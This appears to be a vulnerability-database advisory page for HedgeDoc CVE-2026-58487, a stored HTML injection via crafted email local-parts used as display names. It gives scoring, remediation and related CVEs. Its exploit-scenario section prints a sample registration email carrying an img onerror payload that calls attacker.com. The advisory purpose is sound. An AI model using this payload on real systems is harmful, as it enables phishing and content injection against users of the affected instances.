Skip to main content

HedgeDoc CVE-2026-58487

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-13 GitHub_M
5.1
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register account with crafted RFC 5321 email
  2. Delivery
    HedgeDoc stores unescaped local-part as display name
  3. Exploit
    Attacker creates or edits a note/slide
  4. Execution
    Victim opens publish or slide view
  5. Persist
    Injected HTML renders in victim's browser
  6. Impact
    Attacker-controlled iframe or resource loads within trusted origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to register a new account on the target HedgeDoc instance - this is the primary prerequisite. Open or semi-open registration (where an attacker-controlled email domain is accepted) is required; invite-only or admin-provisioned instances are not exploitable by external parties. The injected payload only executes when a victim passively views a page - a publish view, slide view, or collaborative editor session - in which the attacker's display name is rendered. The deployed Content-Security-Policy on the instance must be insufficient to block the specific injected resource or markup being used; the advisory confirms that straightforward inline JavaScript is blocked by HedgeDoc's default CSP, but resource embedding (cross-origin iframes, external images) is not prevented. Exploitation is limited to authenticated, registered attackers (PR:L) against instances with open or attacker-accessible registration, and requires a victim to load an affected page (UI:P).

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N) reflects the key mitigating factors: low privileges (PR:L - registration required), passive user interaction (UI:P - a victim must view an affected page), and limited integrity impact bounded by the CSP. There is no KEV listing and no public exploit code identified, and EPSS data was not provided in the input. The real-world risk is moderate for collaborative or public-facing HedgeDoc deployments where untrusted users can register, because stored injection is persistent and broadly visible. The CSP is a genuine, meaningful partial control that prevents the most damaging outcomes (arbitrary JS execution, session theft via inline scripts), which is reflected in the low CVSS impact scores. However, cross-origin iframe injection enables phishing and UI redressing at scale within a trusted domain, which is non-trivial. For private, invite-only instances with trusted user populations the risk is substantially lower. No conflicting signals are present: the CVSS vector, description, and impact narrative are internally consistent.

Exploit ScenarioDerived

An attacker registers a HedgeDoc account using an email address such as '"<img src=x onerror=fetch(attacker.com)>"@example.com', causing HedgeDoc to store the unescaped local-part as their display name. When any other user opens a published note or slide deck where this account's display name is rendered, the injected HTML executes in the victim's browser, potentially embedding a cross-origin iframe pointed at an attacker-controlled phishing page within the trusted HedgeDoc origin. No exploit code is publicly available at time of analysis, but the technique is straightforward for anyone familiar with HTML injection and RFC 5321 email syntax.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 13, 2026

Stored HTML injection in HedgeDoc prior to 1.11.0 allows low-privileged, registered attackers to inject arbitrary HTML into publish views, slide views, and the collaborative editor by registering an email address with an RFC 5321 quoted-string local-part, which is then rendered as the display name without output encoding. Victims who view affected pages are exposed to content manipulation and attacker-controlled cross-origin iframe embedding; direct JavaScript execution is mitigated by the deployed Content-Security-Policy, but phishing, UI redressing, and resource injection remain viable. No public exploit code has been identified at time of analysis, and no KEV listing exists; the fix is available in version 1.11.0.

RemediationAI

Upgrade to HedgeDoc version 1.11.0, which resolves this issue by properly escaping the email local-part before using it as a display name in HTML contexts. The vendor advisory is at https://github.com/hedgedoc/hedgedoc/security/advisories/GHSA-6c2w-8w96-3pcv. If an immediate upgrade is not possible, administrators of public or semi-public instances should consider disabling open registration (restrict registration to known-good email domains or require admin approval) to prevent untrusted parties from submitting crafted email addresses - this eliminates the attack surface entirely for the attacker-registration step, though it has the trade-off of restricting new user onboarding. Additionally, auditing existing registered users for RFC 5321 quoted-string local-parts (i.e., email addresses where the local-part begins with a double-quote character) can identify accounts that may have already registered malicious display names; such accounts should be suspended and their injected content reviewed.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HedgeDoc (CPE: cpe:2.3:a:hedgedoc:hedgedoc:*:*:*:*:*:*:*:*) is an open-source, self-hosted, real-time collaborative markdown editor. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). RFC 5321 permits email local-parts wrapped in double quotes to contain characters normally forbidden, such as angle brackets, quotes, and spaces (e.g., '"<div class=evil>"@example.com'). HedgeDoc accepted these quoted-string local-parts during registration and then reused the raw local-part string as the user's display name, inserting it into HTML templates across publish views, slide views, and the collaborative editor without HTML-encoding. An attacker can break out of the surrounding HTML attribute context to inject arbitrary markup. The existing CSP policy blocked inline script execution, limiting the impact relative to full XSS, but permitting persistent content manipulation and embedding of external resources such as cross-origin iframes.

Know when Hedgedoc gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network vector, low privileges for registration, user interaction required to view page, scope change affects other users, low C/I due to CSP blocking script execution.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

HedgeDoc is an open source, real-time, collaborative, markdown notes application. Prior to version 1.11.0, due to unsafe handling of the local-part of registered email addresses, HedgeDoc was vulnerable to stored HTML Injection through its publish and slide views. An attacker could register a specially crafted email address and inject arbitrary HTML into pages viewed by other users. HedgeDoc accepted RFC 5321 quoted-string local-parts in email addresses during registration. The local-part was then reused as the user's display name without escaping and rendered into HTML in multiple places, including publish and slide views as well as the collaborative editor. An attacker could break out of an HTML attribute and inject arbitrary markup into the page. While the deployed Content-Security-Policy prevented straightforward inline JavaScript execution, the injected HTML was still sufficient to alter page content and embed attacker-controlled resources such as cross-origin iframes. This issue was fixed in version 1.11.0.

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Prevalence
Low
niche self-hosted collaborative markdown tool, limited enterprise footprint
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:hedgedoc:hedgedoc:*:*:*:*:*:*:*:*
CVE-2020-26287 HIGH POC
8.7 Dec 29

HedgeDoc is a collaborative platform for writing and sharing markdown. Rated high severity (CVSS 8.7), this vulnerabilit

CVE-2023-38487 HIGH POC
8.2 Aug 04

HedgeDoc is software for creating real-time collaborative markdown notes. Rated high severity (CVSS 8.2), this vulnerabi

CVE-2024-45308 MEDIUM POC
6.5 Sep 02

HedgeDoc is an open source, real-time, collaborative, markdown notes application. Rated medium severity (CVSS 6.5), this

CVE-2021-21259 MEDIUM POC
6.1 Jan 22

HedgeDoc is open source software which lets you create real-time collaborative markdown notes. Rated medium severity (CV

CVE-2021-29475 CRITICAL
10.0 Apr 26

HedgeDoc (formerly known as CodiMD) is an open-source collaborative markdown editor. Rated critical severity (CVSS 10.0)

CVE-2021-29474 MEDIUM POC
5.8 Apr 26

HedgeDoc (formerly known as CodiMD) is an open-source collaborative markdown editor. Rated medium severity (CVSS 5.8), t

CVE-2026-58486 HIGH
8.3 Jul 13

Denial of service in HedgeDoc before 1.11.0 lets a user who can store a note crash the instance by embedding a YAML "ali

CVE-2020-26286 HIGH
7.5 Dec 29

HedgeDoc is a collaborative platform for writing and sharing markdown. Rated high severity (CVSS 7.5), this vulnerabilit

CVE-2026-58488 MEDIUM
6.9 Jul 13

Rate-limiting bypass in HedgeDoc prior to 1.11.0 permits unauthenticated remote attackers to circumvent brute-force prot

CVE-2026-58489 MEDIUM
6.8 Jul 13

HedgeDoc's GitHub Gist export feature exposes private and protected note content to attacker-controlled GitHub accounts

CVE-2025-32391 MEDIUM POC
6.4 Apr 10

HedgeDoc is an open source, real-time, collaborative, markdown notes application. Rated medium severity (CVSS 6.4), this

CVE-2021-39175 MEDIUM
6.1 Aug 30

HedgeDoc is a platform to write and share markdown. Rated medium severity (CVSS 6.1), this vulnerability is remotely exp

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy